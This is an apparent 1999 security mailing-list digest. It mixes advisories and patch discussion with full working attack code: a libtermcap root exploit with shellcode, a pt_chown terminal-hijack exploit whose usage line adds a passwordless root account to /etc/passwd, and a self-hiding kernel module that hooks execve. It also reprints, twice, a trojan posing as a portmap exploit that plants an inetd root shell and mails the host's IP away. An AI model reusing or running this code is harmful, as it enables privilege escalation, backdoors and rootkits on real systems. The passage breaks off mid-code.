LS /* Local exploit for suid root programs linked to libtermcap < 2.0.8-15 * * tested with xterm and nxterm on RedHat 5.2 and 4.2 * * sk8@lucid-solutions.com * http://www.lucid-solutions.com * * Usage: * ./smashcap -default is buffer size of 4210 and offset of 300 * and seems to work on RH 5.2 * * Adjust offsets (somewhere between 230 - 1140) if necessary * * ./smashcap -buffer size defaults to 4210 * ./smashcap * * * In order to stop script kids/opportunists, one MINOR change must be * made in order for this to work. * * Use only to test your machines to show you that you must patch libtermcap. * Quick fix, chmod u-s ALL suid root programs linked with libtermcap. * * - sk8 of LS * */ #include #include #include #define filename "/tmp/lstermcap" #define entry1 "xterm|" #define DEFAULT_BUFSIZE 4210 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff\xff/bin/sh"; /* Linux shellcode */ long get_sp(void) { __asm__("movl %esp, %eax\n"); } int main(int argc, char *argv[]) { int bufsize, offset, i, fd; long *bufptr; char *ptr, *buffer, *tempbuf; setenv("TERMCAP", "/tmp/lstermcap", 1); bufsize=DEFAULT_BUFSIZE; if (argc > 2) bufsize=atoi(argv[2]); if (argc > 1) offset=atoi(argv[1]); else offset=300; printf("bufsize: %i\noffset: %i\n", bufsize,offset); if(!(buffer = malloc(bufsize))) { printf("can't allocate enough memory\n"); exit(0); } if(!(tempbuf = malloc(bufsize+strlen(entry1) ))) { printf("can't allocate enough memory\n"); exit(0); } printf("get_sp(): 0x%x\n", get_sp()); printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) ); ptr=buffer; bufptr = (long *)(buffer+2); /* align */ for (i = 0; i < bufsize; i += 4) *(bufptr++) = (get_sp()-offset); for (i = 0; i < (bufsize/2); i++) buffer[i] = 0x90; ptr=buffer + ((bufsize/2) - strlen(shellcode)/2); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; //shellcode ptr=ptr+24; /* now insert the characters : and \ into the termcap - these are vital */ *(ptr++)=0x3a; *(ptr++)=0x5c; snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer); fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666); write (fd, tempbuf, strlen(tempbuf)); close(fd); printf("made termcap\n"); execl("/usr/X11R6/bin/xterm","xterm", 0); } ====================================== 1.16-:local libtermcap exploit (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.17-:portmap.c Trojan (begin) : ================================ Trojan being spread to clueless kiddies, claims to exploit portmap on Redhat boxes, really adds a rootshell to your inetd.conf file and sends other info like your ip address by executing ifconfig, it sends this mail to goat187@hotmail.com Code below and also attached. <------------------------------Snip--------------------------------------- /* Do not run unless you know what you are doing , and DONT RUN IT AS ROOT. It Puts a ROOTSHELL in your inetd.conf and mails them your IP address. PRIVATE !!! DO NOT DISTRIBUTE THIS !!! PRIVATE (DOnT RUN its a TROJAN) portmap remote root linux exploit (TROJAN) (no stack patch) by horizon - jmcdonald@unf.edu This was tested against redhat box with 2.2.9 kernel. (shouldn't need offset) BIG thanks to stran9er who wrote this shellcode!! greets to: #!ADM and users @ el8.org ;) */ #include #include #include #include #include #include #include #include #include #include #define NOP 0x90 #define RET 0xbfffec90 #define PORT 5760 #define pmap_proc_p system char *shellcode = "\x64\x97\x9e\xa3\x64\x9a\x98\x9d\xa4\x55\x57\x6b\x6a\x66\x68\x6e\x55\xa8\xa9" "\xa7\x9a\x96\xa2\x55\xa9\x98\xa5\x55\xa3\xa4\xac\x96\x9e\xa9\x55\xa7\xa4\xa4" "\xa9\x55\x64\x97\x9e\xa3\x64\xa8\x9d\x55\xa8\x9d\x55\x62\x9e\x57\x55\x73\x73" "\x55\x64\x9a\xa9\x98\x64\x9e\xa3\x9a\xa9\x99\x63\x98\xa4\xa3\x9b\x55\x70\x55" "\x64\x97\x9e\xa3\x64\xa0\x9e\xa1\xa1\x96\xa1\xa1\x55\x62\x66\x55\x9e\xa3\x9a" "\xa9\x99\x55\x67\x73\x5b\x66\x55\x66\x73\x64\x99\x9a\xab\x64\xa3\xaa\xa1\xa1" "\x55\x70\x55\x64\xa8\x97\x9e\xa3\x64\x9e\x9b\x98\xa4\xa3\x9b\x9e\x9c\x55\x62" "\x96\x55\xb1\x55\xa2\x96\x9e\xa1\x55\x9c\xa4\x96\xa9\x66\x6d\x6c\x75\x9d\xa4" "\xa9\xa2\x96\x9e\xa1\x63\x98\xa4\xa2\x55\x67\x73\x5b\x66\x55\x67\x73\x64\x99" "\x9a\xab\x64\xa3\xaa\xa1\xa1\x3f"; int max(int x, int y) { if(x > y) return(x); return(y); } void rshell(char *host) { int sockfd, maxfd, n; struct sockaddr_in cli; char sendln[1024], recvln[1024]; struct hostent *hp; fd_set rset; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket"); exit(-1); } if((hp = gethostbyname(host)) == NULL){ perror("gethostbyname"); exit(-1); } bzero(&cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_port = htons(PORT); cli.sin_addr.s_addr = inet_addr(host); if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){ perror("connect"); exit(-1); } printf("root shell found!\n"); strcpy(sendln, "uname -a; pwd; id;\n"); write(sockfd, sendln, strlen(sendln)); FD_ZERO(&rset); for(;;){ FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(sendln, sizeof(sendln)); fgets(sendln, sizeof(sendln)-2, stdin); write(sockfd, sendln, strlen(sendln)); } if(FD_ISSET(sockfd, &rset)){ bzero(recvln, sizeof(recvln)); if((n = read(sockfd, recvln, sizeof(recvln))) == 0){ printf("Connection closed.\n"); exit(0); } if(n < 0){ perror("read"); exit(-1); } fputs(recvln, stdout); } } } void main(int argc, char **argv) { CLIENT *cli; int i = 0, offset = 53; char *portmap; char *buf; if(argc < 2){ printf("usage: %s [offset]\n", argv[0]); exit(-1); } if((portmap = (char *) malloc(154)) == NULL) { perror("malloc"); } while(*shellcode) { portmap[i] = *shellcode - offset; shellcode++; i++; } pmap_proc_p(portmap); printf("sending shellcode... connecting to remote host\n"); rshell(argv[1]); strcpy(buf, portmap); exit(-1); } ---------------------------------------SNIP------------Snip---- Attachment: portmap.c (6k) -- Download without Scan -- Scan with McAfee /* PRIVATE !!! DO NOT DISTRIBUTE THIS !!! PRIVATE portmap remote root linux exploit (no stack patch) by horizon - jmcdonald@unf.edu This was tested against redhat box with 2.2.9 kernel. (shouldn't need offset) BIG thanks to stran9er who wrote this shellcode!! greets to: #!ADM and users @ el8.org ;) */ #include #include #include #include #include #include #include #include #include #include #define NOP 0x90 #define RET 0xbfffec90 #define PORT 5760 #define pmap_proc_p system char *shellcode = "\x64\x97\x9e\xa3\x64\x9a\x98\x9d\xa4\x55\x57\x6b\x6a\x66\x68\x6e\x55\xa8\xa9" "\xa7\x9a\x96\xa2\x55\xa9\x98\xa5\x55\xa3\xa4\xac\x96\x9e\xa9\x55\xa7\xa4\xa4" "\xa9\x55\x64\x97\x9e\xa3\x64\xa8\x9d\x55\xa8\x9d\x55\x62\x9e\x57\x55\x73\x73" "\x55\x64\x9a\xa9\x98\x64\x9e\xa3\x9a\xa9\x99\x63\x98\xa4\xa3\x9b\x55\x70\x55" "\x64\x97\x9e\xa3\x64\xa0\x9e\xa1\xa1\x96\xa1\xa1\x55\x62\x66\x55\x9e\xa3\x9a" "\xa9\x99\x55\x67\x73\x5b\x66\x55\x66\x73\x64\x99\x9a\xab\x64\xa3\xaa\xa1\xa1" "\x55\x70\x55\x64\xa8\x97\x9e\xa3\x64\x9e\x9b\x98\xa4\xa3\x9b\x9e\x9c\x55\x62" "\x96\x55\xb1\x55\xa2\x96\x9e\xa1\x55\x9c\xa4\x96\xa9\x66\x6d\x6c\x75\x9d\xa4" "\xa9\xa2\x96\x9e\xa1\x63\x98\xa4\xa2\x55\x67\x73\x5b\x66\x55\x67\x73\x64\x99" "\x9a\xab\x64\xa3\xaa\xa1\xa1\x3f"; int max(int x, int y) { if(x > y) return(x); return(y); } void rshell(char *host) { int sockfd, maxfd, n; struct sockaddr_in cli; char sendln[1024], recvln[1024]; struct hostent *hp; fd_set rset; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket"); exit(-1); } if((hp = gethostbyname(host)) == NULL){ perror("gethostbyname"); exit(-1); } bzero(&cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_port = htons(PORT); cli.sin_addr.s_addr = inet_addr(host); if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){ perror("connect"); exit(-1); } printf("root shell found!\n"); strcpy(sendln, "uname -a; pwd; id;\n"); write(sockfd, sendln, strlen(sendln)); FD_ZERO(&rset); for(;;){ FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(sendln, sizeof(sendln)); fgets(sendln, sizeof(sendln)-2, stdin); write(sockfd, sendln, strlen(sendln)); } if(FD_ISSET(sockfd, &rset)){ bzero(recvln, sizeof(recvln)); if((n = read(sockfd, recvln, sizeof(recvln))) == 0){ printf("Connection closed.\n"); exit(0); } if(n < 0){ perror("read"); exit(-1); } fputs(recvln, stdout); } } } void main(int argc, char **argv) { CLIENT *cli; int i = 0, offset = 53; char *portmap; char *buf; if(argc < 2){ printf("usage: %s [offset]\n", argv[0]); exit(-1); } if((portmap = (char *) malloc(154)) == NULL) { perror("malloc"); } while(*shellcode) { portmap[i] = *shellcode - offset; shellcode++; i++; } pmap_proc_p(portmap); printf("sending shellcode... connecting to remote host\n"); rshell(argv[1]); strcpy(buf, portmap); exit(-1); } ============================== 1.17-:portmap.c Trojan (End) : ________________________________________________________________________________________________________ ________________________________________________________________________________________________________ 1.18-:Cisco Security Notice: CiscoSecure Access Control Server for UNIX Remote Administration Vulnerability (begin): ============================================================================================== -----BEGIN PGP SIGNED MESSAGE----- CiscoSecure Access Control Server for UNIX Remote Administration Vulnerability Revision 1.0 For public release Thursday, 1999 August 19, at 08:00AM US/Pacific (UTC-0700) ============================================================================= Summary ======= In CiscoSecure Access Control Server (CiscoSecure ACS) for UNIX, versions 1.0 through 2.3.2, there is a database access protocol that could permit unauthorized remote users to read and write the server database without authentication. Depending on the network environment, this might permit unauthorized users to modify the access policies enforced by the CiscoSecure ACS. A utility that is capable of using this protocol to read or modify a database is shipped with the CiscoSecure ACS product. This vulnerability can be eliminated by either a CiscoSecure configuration change, or network configuration change. Cisco has provided a new release that changed a default setting, in order to ensure higher default security level. This vulnerability has Cisco bug ID CSCdm71489. Who Is Affected =============== If you are running an affected version of CiscoSecure ACS for UNIX, and if you have not modified the configuration to strictly permit connections from trusted hosts, and if untrusted users can make TCP connections to TCP port 9900 on the computer on which you have installed CiscoSecure ACS, then you are vulnerable. Users of CiscoSecure ACS for Windows NT are not vulnerable. Impact ====== The impact may vary, depending whether potential attackers have access to port 9900 on the CiscoSecure ACS computer. This vulnerability could allow an attacker to remove accounts, add accounts and change passwords or privileges in the user database, including implementing an administrative account, that would give them control of the CiscoSecure ACS server. Customers who may have been vulnerable to attack are advised to review privileged accounts, and any suspicious database changes. Details ======= This vulnerability has been assigned Cisco bug ID CSCdm71489. Affected and Repaired Software Versions ======================================= This applies ONLY to CiscoSecure ACS for UNIX, and is present in all versions, up to version 2.3.2. Version 2.3.3 of CiscoSecure ACS for UNIX has been modified to validate administrative clients by default. This vulnerability applies only to the software product CiscoSecure Access Control Server for UNIX, and does not apply to CiscoSecure Access Control Server for NT. Getting Fixed Software ====================== As the software fix consists of changing default behavior, and is equivalent to the recommended workarounds, a software upgrade is not required to address this vulnerability. However, if you are running one of the releases affected by defects CSCdk55423 or CSCdm72555, as listed in the Workarounds section in this notice, and these defects prevent you from working around this vulnerability, a software upgrade is necessary, and will be provided, regardless of contract status. If you have a service contract, please download the new software from Cisco's Worldwide Web site at http://www.cisco.com. If you do not have a service contract, please call the Cisco TAC at one of the telephone numbers listed in the "Cisco Security Procedures" section of this notice. Give the URL of this notice as evidence of your entitlement to an upgrade. Workarounds =========== Two workarounds for this vulnerability exist. One workaround consists of enabling client validation within CiscoSecure ACS for UNIX. A caveat to this workaround is that there are some versions of CiscoSecure ACS for UNIX that are subject to another defect, which prevents access to additional administration utilities (the Advanced Administration GUI) within CiscoSecure ACS for UNIX when the client validation feature is enabled. This problem is identified in CSCdm72555 which affects versions 2.3.1 and 2.3.2, and CSCdk55423, which affects versions 2.2.2, 2.2.3 of CiscoSecure ACS for UNIX. This workaround will not be effective in CiscoSecure ACS for UNIX version 2.2.2, 2.2.3, 2.3.1 and 2.3.2, and customers are encouraged to upgrade to a version that does not include this defect. Version 2.3.3 is currently available and is not susceptible to the above problem. You must edit the CSCconfig.ini file, list the permitted remote access hosts, enable remote client validation. TACACS or RADIUS clients do NOT need to be listed under this setting, only hosts that are permitted to administer the server should be listed. In the following example, 'acs_srv_machine' resolves to localhost, and we are providing remote administration privileges to the hosts 'client_machine' and the ip address 172.16.23.23. Permitted clients may be defined by a hostname, or an ip address. CSCconfig.ini file should be edited with the following information: [ValidClients] ;if ValidateClients=true, than we only allow the clients with ids listed ; to connect to the dbserver 100 = acs_srv_machine 100 = client_machine 100 = 172.16.23.23 ValidateClients = true ... An additional configuration parameter "FastAdminValidClients" was added in CiscoSecure ACS version 2.3.3 allowing the Fast Administrator Web based GUI to permit the same IP addresses specified in the valid clients list, to further restrict client access. A second workaround is to use filtering on other network devices, such as a firewall, to control or block access to TCP port 9900 on the CiscoSecure ACS for UNIX server. Exploitation and Public Announcements ===================================== Cisco does not have any reports of malicious use of this vulnerability. CiscoSecure ACS for UNIX Reference Guide does include a cautionary note regarding this vulnerability. Status of This Notice ===================== This is a final field notice. Although Cisco cannot guarantee the accuracy of all statements in this notice, all the facts have been checked to the best of our ability. Cisco does not anticipate issuing updated versions of this notice unless there is some material change in the facts. Should there be a significant change in the facts, Cisco may update this notice. Distribution ============ This notice will be posted on Cisco's Worldwide Web site at http://www.cisco.com/warp/public/770/csecure-dbaccess.shtml. In addition to Worldwide Web posting, the initial version of this notice is being sent to the following e-mail and Usenet news recipients: * cust-security-announce@cisco.com * bugtraq@netspace.org * first-teams@first.org (includes CERT/CC) * cisco@spot.colorado.edu * comp.dcom.sys.cisco * first-info@first.org * Various internal Cisco mailing lists Future updates of this notice, if any, will be placed on Cisco's Worldwide Web server, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the URL given above for any updates. Revision History ================ Revision 1.0, 08:00 AM US/Pacific Initial public 19-AUGUST-99 release. Cisco Security Procedures ========================= Cisco's Worldwide Web site contains complete information for reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information directly from Cisco at http://www.cisco.com/warp/public/791/sec_incident_response.shtml. This includes instructions for press inquiries regarding Cisco security notices. ------------------------------------------------------------------------ This notice is copyright 1999 by Cisco Systems, Inc. This notice may be redistributed freely after the release date given at the top of the notice, provided that redistributed copies are complete and unmodified, including all date and version information. ------------------------------------------------------------------------ -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBN7via3LSeEveylnrAQFVnwgAkij5Ap3JcgBDzK5L01rdYjVLmaVAaJjU AA7NZhPm1+2DOhixSA5WMGoXKWqTP+0tK0IBnAsbuNt1wKXPgL1f1WKvLdZiy806 ay/XYoFDYHg6oAwYioRoZ4yU4btSSHMwLCXx2nKsBc12zwyXAWmvfSMVTc+UXigm fm1kA4JP5UY5Nt3QsWuwpC6gb6XKtpGvAqccT5GtDai+CdtpKafZSsdM7qfupdy0 tvWzTXwIcAEMw3VTAsJ95pGUDT425jqNEbHPSTfRX5elgl1ahcGSM5FAjs3PdzMS UWAa9kX7+uzY6OOD92Lr57/HbPfBkuNJ9SoagN4AefK+AUFCnmrImw== =t3gQ -----END PGP SIGNATURE----- ============================================================================================= 1.18-:Cisco Security Notice: CiscoSecure Access Control Server for UNIX Remote Administration Vulnerability (End): _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x (begin) : ================================================================================================= First of all, something less or more personal - sorry to all secure@...pl people for this post. I'm really angry, as this stuff become well-known without my knowledge... so, only a few of my own observations, always trying to respect other's intellectual property. All the best goes to el- :P ---------------------------------------------- glibc 2.1.x and Linux without devpts mechanism ---------------------------------------------- Compromise: locally, privledges of any user (including superuser) running programs without devpts support compiled in after glibc upgrade (like screen, mc etc). Solution: chmod 700 /usr/libexec/pt_chown There's a bug in pt_chown suid helper program, supplied with glibc 2.1.x (tested on default RH 6.0 distro). This program is designed to allow proper allocation of pseudo-terminals for non-suid programs in systems with glibc 2.1.x installed, but without devpts support compiled into every program (it's enough to have, let's say, screen which uses traditional /dev/ptyXX and /dev/ttyXX scheme). Due to lack of security checks, pt_chown can be easily fooled to gain full control over other user's (root as well) pseudo-terminal, as allocated by screen, Midnight Commander, or virtually any other program. All we need is an open descriptor to /dev/ttyXX (in read or write mode, no matter) - while login uses secure permissions, ttys allocated by eg. screen are 622 by default, so we could gain write access. Then, we have to call pt_chown in a proper way to gain ownership of this device, and put anything we want to the input stream of process controlling this pty using TIOCSTI ioctl()... Automated exploit code is attached (potfory.c). Sorry for polish comments, should be readable anyway? If not, there's 'primal' exploit for this hole: -- simpliest.c -- int main(int a,char* b[]) { char* c="\nclear;echo huhuhu, it worked...;id;sleep 2\n"; int i=0,x=open(b[1],1); // Expect writable, allocated // (eg. by screen) /dev/ttyXX as 1st arg if (x<0) { perror(b[1]); exit(1); } if (!fork()) { dup2(x,3); execl("/usr/libexec/pt_chown","pt_chown",0); perror("pt_chown"); exit(1); } sleep(1); for (i;i #include #include #include #include #include #include #include #include #include #include #define BOLD "\033[00;01m" #define NORM "\033[00;00m" #define DARK "\033[00;02m" #define BLINK "\033[05m" #define GREEN "\033[01;32m" #define RED "\033[01;31m" #define YELL "\033[01;33m" #define BLUE "\033[00;36m" #ifdef LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A # define stat(a,b) _xstat(_STAT_VER,a,b) # define fstat(a,b) _fxstat(_STAT_VER,a,b) #endif /* LCAMTUF_JEST_GLUPI_I_STRIPNAL_LIBC_A */ int gupi_uid; char* jebum; void zuzycie(void) { printf(BOLD "Sposób zu¿ycia: " BLUE "./potfory juzer 'polecenie'\n"); printf(BOLD " ...juzually: " BLUE "./potfory root 'echo \"r::0:0::/:/bin/sh\"" " >>/etc/passwd;logout'" NORM "\n\n"); exit(0); } int szukaj_uida(const char* login) { struct passwd* pw; setpwent(); while ((pw=getpwent())) if (!strcasecmp(login,pw->pw_name)) return pw->pw_uid; printf( RED "[+] W domku nie mieszka nikt o loginie '%s'..." NORM "\n\n",login); exit(0); } char* koniec="\n"; int obwachaj_ptysia(struct dirent *s) { int i,q,z,w; struct stat a; if (strlen(s->d_name)!=5 || strncmp("pty",s->d_name,3)) return -1; close((i=open(s->d_name,O_RDONLY))); if (i>0) return -1; // Blah, unused pty... s->d_name[0]='t'; // pty -> tty printf(DARK "[+] Przygl±dam siê " YELL "%s" DARK": " BLUE,s->d_name); stat(s->d_name,&a); if (a.st_uid!=gupi_uid) { printf("nie ten owner (%d).\n",a.st_uid); return -1; } printf("owner dobry"); a.st_mode=a.st_mode&0666; if (a.st_mode!=MASKA_PTYSIA) { #ifndef ZMASOWANY_ATAK printf(", ale chyba to pomy³ka (maska: %o).\n",a.st_mode); return -1; #else printf(" (zmasowany nalot)"); #endif /* ZMASOWANY_ATAK */ } i=open(s->d_name,O_WRONLY); if (i<0) { printf(", ale nie mam uprawnieñ.\n"); return -1; } printf(" - " YELL "robimy swoje!\n" NORM); if (!(q=fork())) { dup2(i,3); execl("/usr/libexec/pt_chown","pt_chown",0); exit(1); } waitpid(q,&z,0); fstat(i,&a); if (a.st_uid!=getuid()) { printf("[+] Ech, co¶ nie wysz³o z pt_chown'em :(\n"); close(i); return -1; } printf(YELL "[+] Oki, trzymamy ptysia za jaja, ¶lemy komendê...\n"); for (w=0;w\n"); if (argc-3) zuzycie(); gupi_uid=szukaj_uida(argv[1]); jebum=argv[2]; printf(BLUE "[+] UID " YELL "%d" BLUE ", polecenie do przekazania shellowi: " BOLD "%s\n", gupi_uid,jebum); robimy_burdel(); printf(NORM "\n"); exit(0); } _________________________________________________________________________________________________________ 1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ; attachment: ftpd.diff (1k) : _________________________________________________________________________________________________________ *** ftpd.c Sun Jun 6 15:20:21 1999 --- ftpd_patched.c Sun Jun 6 15:15:03 1999 *************** *** 1245,1251 **** /* append the dir part with a leading / unless at root */ if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') ) strcat( mapped_path, "/" ); ! strcat( mapped_path, dir ); } int --- 1245,1254 ---- /* append the dir part with a leading / unless at root */ if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') ) strcat( mapped_path, "/" ); ! if ( strlen(mapped_path) + strlen (dir) < 4095 ) ! strcat( mapped_path, dir ); ! else ! syslog(LOG_ERR, "FTP mapped_path attack "); } int _________________________________________________________________________________________________________ 1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ; réponse (1/3) _________________________________________________________________________________________________________ On Sun, Jul 04, 1999 at 01:38:48PM +0200, Michal Zalewski wrote: > ---------------------------- > wu-ftpd 2.5, VR and BeroFTPD > ---------------------------- > > Compromise: remote root > > Solution: add strlen() check somewhere > > There's an overflow in wu-ftpd 2.5 and prior releases (including VR and > BeroFTPD) in mapped_path when mapping current working directory to > command-line. While I discovered this vunerability by myself, I don't want > to provide exploit code, as all other, hard work has been done > independently by someone else. Instead of that, there's a .diff file with > patch, attached somewhere as ftpd.diff. The Debian package of wu-ftpd (2.5.0-3) has just been updated with this patch: --- wu-ftpd-2.5.0.orig/src/ftpd.c +++ wu-ftpd-2.5.0/src/ftpd.c @@ -1243,9 +1246,12 @@ } /* append the dir part with a leading / unless at root */ - if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') ) - strcat( mapped_path, "/" ); - strcat( mapped_path, dir ); + if ( strlen( mapped_path ) + strlen( dir ) < MAXPATHLEN-2 ) { + if( !(mapped_path[0] == '/' && mapped_path[1] == '\0') ) + strcat( mapped_path, "/" ); + strcat( mapped_path, dir ); + } else + syslog( LOG_ERR, "mapped_path overflow: possible exploit attempt" ); } int Correct me if I'm wrong, but it doesn't seem that the wu-ftpd Academ betas (specifically beta 16, included in Debian 2.1 (slink)) are vulnerable. Thus I doubt that our security team will issue an advisory, because this version is present only in the unstable distribution. -- enJoy -*/\*- don't even try to pronounce my first name _________________________________________________________________________________________________________ 1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ; réponse (2/3) : _________________________________________________________________________________________________________ >>>>> Michal Zalewski writes: > First of all, something less or more personal - sorry to all secure@...pl > people for this post. I'm really angry, as this stuff become well-known > without my knowledge... so, only a few of my own observations, always > trying to respect other's intellectual property. > All the best goes to el- :P > ---------------------------------------------- > glibc 2.1.x and Linux without devpts mechanism > ---------------------------------------------- Please report glibc problems to the glibc developers first! /usr/libexec/pt_chown --help outputs: [...] Report bugs using the `glibcbug' script to . I didn't see any report on this on any glibc list! :-( I'm forwarding this now. > ------------------------------ > glibc 2.0.x and LC_ALL, noexec > ------------------------------ > Compromise: locally, doing thins you shouldn't be able to do ;) > First of all - doing /lib/ld-linux.so.2 /program/on/noexec/partition is > the simpliest way to bypass noexec option, if only you have glibc 2.0.x. > Nothing to say, security by obscurity stinks. > Clean glibc 2.0.x, as distributed in .tar.gz, are vunerable to rather > seriuos problem with LC_ALL containing '../' tricks (just like in telnetd > and TERM case). In fact, in some Linux distributions, it has been silently > fixed, while people upgrading glibc to eg. 2.0.7 'from scratch' are not > aware of this problem, and many sites are vunerable. Using prepared > directory with locale specifications, including glibc error messages used > eg. by perror(), luser will be able to for example read setuid programs > memory, etc. AFAIK those problems are fixed in glibc 2.1.x - if not please tell us. Andreas -- Andreas Jaeger aj@arthur.rhein-neckar.de jaeger@informatik.uni-kl.de for pgp-key finger ajaeger@aixd1.rhrk.uni-kl.de _________________________________________________________________________________________________________ 1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x ; réponse (3/3) _________________________________________________________________________________________________________ Michal Zalewski writes: >-------- >vlock -a >-------- > >Compromise: locally, unlocking VCs switching under certain conditions > >When 'vlock -a' is called, console switching is completely disabled using >ioctl() call on /dev/ttyX device. Under certain conditions, this >protection can be fooled. Let's imagine following situation: user X is >logged on tty6 - oh, abbandoned session ;) while root is playing on >other consoles. After some time, he/she issued 'vlock -a' and gone >somewhere. But, if user X is still logged on any console, and he's able to >login once more, remotelly, he could open /dev/tty6 (in our example, as >it's owned by him), then... use ioctl() (as it's not restricted to >superusers!!!) to enable console switching. This is not a bug in vlock; what's more, it's not a bug. To change this behaviour in the way Michal wants would require that all console-switching activity be controlled only by root. This would have a detrimental effect on security, because it would increase the number of setuid applications on the system. So this is not a kernel bug, and since the behaviour Michal wants would have to be enforced in the kernel and vlock is not capable of changing it, it is not a vlock bug either. michaelkjohnson "Magazines all too frequently lead to books and should be regarded by the prudent as the heavy petting of literature." -- Fran Lebowitz Linux Application Development http://people.redhat.com/johnsonm/lad/ =============================================================================================== 1.19-: [Linux] glibc 2.1.x / wu-ftpd <=2.5 / BeroFTPD / lynx / vlock / mc / glibc 2.0.x (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.20-:Symmetric Multiprocessing (SMP) Vulnerbility in BSDi 4.0.1 (begin) : ========================================================================== Description: A vulnerbility exists in BSDi 4.0.1 Symmetric Multiprocessing (SMP). During high CPU usage it is possible to cause BSDi 4.0.1 (possibly others but untested) with all current patches to stop responding and 'lock up' when a call to fstat is made. Reproduction: This is very simple to reproduce. Simply run a few instances of commands which will eat up large amounts of CPU (top -s .1). When the CPU hits a reasonable amount, begin to run fstat. After the first 20-30 lines your machine should stop responding. Solution: At this time, after consulting BSDi, it has been determined that this issue has yet to be encountered. The following temporary fixes should be able to prevent this in the future until BSDi is able to release an official patch: 1.) Simply chmod 000 to /usr/bin/fstat 2.) Either move or remove /etc/mp.config. During boot, if this file is not found, BSDi will not boot into SMP mode. Credits: _THE MAN_ who ponted this out to me at work the other day (I'm not sure if you want people knowing your name, you know who you are). He was the one to discover that there was an issue with BSDi locking up when a call to fstat was made... I was only the one to verify this and discover that it was due to SMP (with the help of the tech from BSDi of course... (You know who you are too, thanks for your help). - Ben ***************************** * Ben Lull * * PSN Internet Services * * Jr. Systems Administrator * ***************************** - I may be a kid, but hey Mom, look at me now! - The only true type of freedom is that of speech (and a debugger). _________________________________________________________________________________________________________ 1.20-:Symmetric Multiprocessing (SMP) Vulnerbility in BSDi 4.0.1 ; réponse (1/1) _________________________________________________________________________________________________________ On Tue, 17 Aug 1999, Ben Lull wrote: > Description: > > A vulnerbility exists in BSDi 4.0.1 Symmetric Multiprocessing > (SMP). During high CPU usage it is possible to cause BSDi 4.0.1 > (possibly others but untested) with all current patches to stop FreeBSD 3.2 SMP seems to be fine. The machine that I used to test is a dual P-III with ASUS motherboard. ======================================================================== 1.20-:Symmetric Multiprocessing (SMP) Vulnerbility in BSDi 4.0.1 (End) : _________________________________________________________________________________________________________ _________________________________________________________________________________________________________ 1.21-:[EuroHaCk] stealth-code (fwd) (begin) : ============================================= hi, don't think that hiding modules is an old topic. ;-) since all the other dirty tricks didn't work on 2.2 kernel (as using asm-code etc.) i used new techniqe to hide modules. example-code below. payload is simly print-out-message-at-execution-call thingie. this module even is stealth enuff ;-) for my radar.c module-detector. any other suggestions are welcome. cheers, Stealth : ---- main(){fork();main();} ---- : Hi! I'm a .signature virus! Copy me into your ~/.signature, please! : Stealth <-> http://www.kalug.lug.net/stealth /*** A kernel-module for 2.2 kernels, hiding itself. *** It was easier in 2.0 kernels and i found all the old *** techniqes not to work. So i invented new one. ;-) *** (C) 1999/2000 by Stealth. *** All under the GPL. SO YOU USE IT AT YOUR OWN RISK. *** http://www.kalug.lug.net/stealth *** *** Greets to all my friends, you know who you are. ***/ #define __KERNEL__ #define MODULE #include #include #include #include #include #include #include #include #ifndef NULL #define NULL ((void*)0) #endif extern void *sys_call_table[]; int (*old_exec)(struct pt_regs regs); int new_exec(struct pt_regs regs) { int error = 0; char *filename; lock_kernel(); filename = getname((char*)regs.ebx); error = PTR_ERR(filename); if (IS_ERR(error)) goto out; printk("Hi, the hook is still installed. ;-)\n"); error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s); putname(filename); out: unlock_kernel(); return error; } int init_module() { int i = 0; struct module *m = &__this_module, *lastm = NULL, *to_delete = NULL; EXPORT_NO_SYMBOLS; /* install hook */ old_exec = sys_call_table[__NR_execve]; sys_call_table[__NR_execve] = new_exec; /* get next module-struct */ to_delete = m->next; if (!to_delete) { printk("No module found for exchange }|-(\n"); return 0; } /* and steal all information about it */ m->name = to_delete->name; m->size = to_delete->size; m->flags = to_delete->flags; /* even set the right USE_COUNT */ for (i = 0; i < GET_USE_COUNT(to_delete); i++) MOD_INC_USE_COUNT; /* and drop the attacked module from 